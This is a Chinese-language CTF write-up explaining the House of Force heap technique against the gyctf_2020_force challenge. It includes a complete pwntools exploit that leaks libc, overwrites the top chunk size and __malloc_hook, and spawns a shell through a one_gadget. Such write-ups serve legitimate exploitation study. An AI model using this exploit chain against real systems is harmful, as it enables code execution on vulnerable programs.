前言: House of force是属于House of xxx系列的利用方法,House of xxx是2004年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对glibc堆分配机制的利用方法。
想要利用House of force,需要以下条件:
1.能够以溢出等方式控制top chunk的size域。
2.能够自由的分配堆的大小
解题思路
保护机制
文章图片
保护全开,64位。
IDA查看伪代码
文章图片
程序有两个功能,一个是添加,一个是输出,其中输出并没有输出任何东西,我们也就不看。
我们重点来看添加函数:
文章图片
关于添加函数,堆的分配大小是随便我们设置的,并没有任何限制。并且,无论我们分配多大的堆块,我们都只能写0x50大小的数据,也就是说我们分配小一点的堆块就可以造成溢出。
在分配完堆块之后,程序会把堆头的位置告诉我们,关于这一点,我们想到能不能用这个来泄露堆的基址呢?如果能泄露,我们是不是可以直接利用unlink来劫持堆块的指针,从而达到getshell。
但是由于程序开了PIE,我们每次泄露的堆头地址都和堆结构体距离不同,这样的话,我们就不能用以上思路来解题了。
思路总结
条件分析
既然题目提示了使用house of force,我们就不再犹豫了。
第一个条件,我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
第二个条件,程序本身就可以分配任意大小的堆块,并没有任何限制。
这样,这个程序就可以用house of force来攻击。
攻击链路
我们首先分配一个稍微大一点的堆块,程序就会用mmap映射一段地址,而libc就在这段地址的下面一位,这样我们就可以利用固定的偏移来泄露libc的基址了。
文章图片
得到libc基址后我们就想着劫持malloc_hook了(因为程序开了Full RELRO,我们不能劫持GOT表)。
我们就分配一个非常大的堆块,让我们堆块的下面就是malloc的地址,这样我们再次分配的时候,我们就可以来改写malloc_hook处的地址了。
完整exp:
#! /usr/bin/env python
from pwn import *p = process('./gyctf_2020_force')
#p = remote('node3.buuoj.cn', 27255)
elf = ELF('./gyctf_2020_force')
libc = ELF('./libc.so.6')def new(size, content):
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(size))
p.recvuntil('addr ')
heap = int(p.recv(14), 16)
p.sendlineafter('content\n', content)
return heaplibc_base = new(0x200000, 'aaa') + 0x200ff0
print 'libc_base : ' + hex(libc_base)
heap_base = new(0x18, 'a' * 0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))
print 'heap_base : ' + hex(heap_base)
top = heap_base + 0x10
malloc_hook = libc.sym['__malloc_hook'] + libc_base
offset = malloc_hook - top
print 'offset : ' + hex(offset)
realloc = libc.sym['__libc_realloc'] + libc_baseonegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one = onegadget[1] + libc_base
new(offset - 0x33, 'a' * 0x8)
new(0x10, 'a' * 0x8 + p64(one) + p64(realloc + 0x10))p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x40))
p.interactive()
【堆溢出|House of force —— gyctf_2020_force】我们这里稍微解释一下,为什么offset要减去0x33。
老pwn狗都知道,当我们分配fastbin范围的堆块时,分配的地址处必须要有对应的大小才能通过检测。
做fastbin attack做的多了,我们自然就知道在libc2.23的malloc_hook - 0x23处有一个0x7f的数值,这里貌似用不到,但是,我们分配距离0x33就是为了不让top chunk的size位不覆盖到他,这样方便绕过检测。
最后我们使用realloc来调节栈帧使得one_gadget可以使用。
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap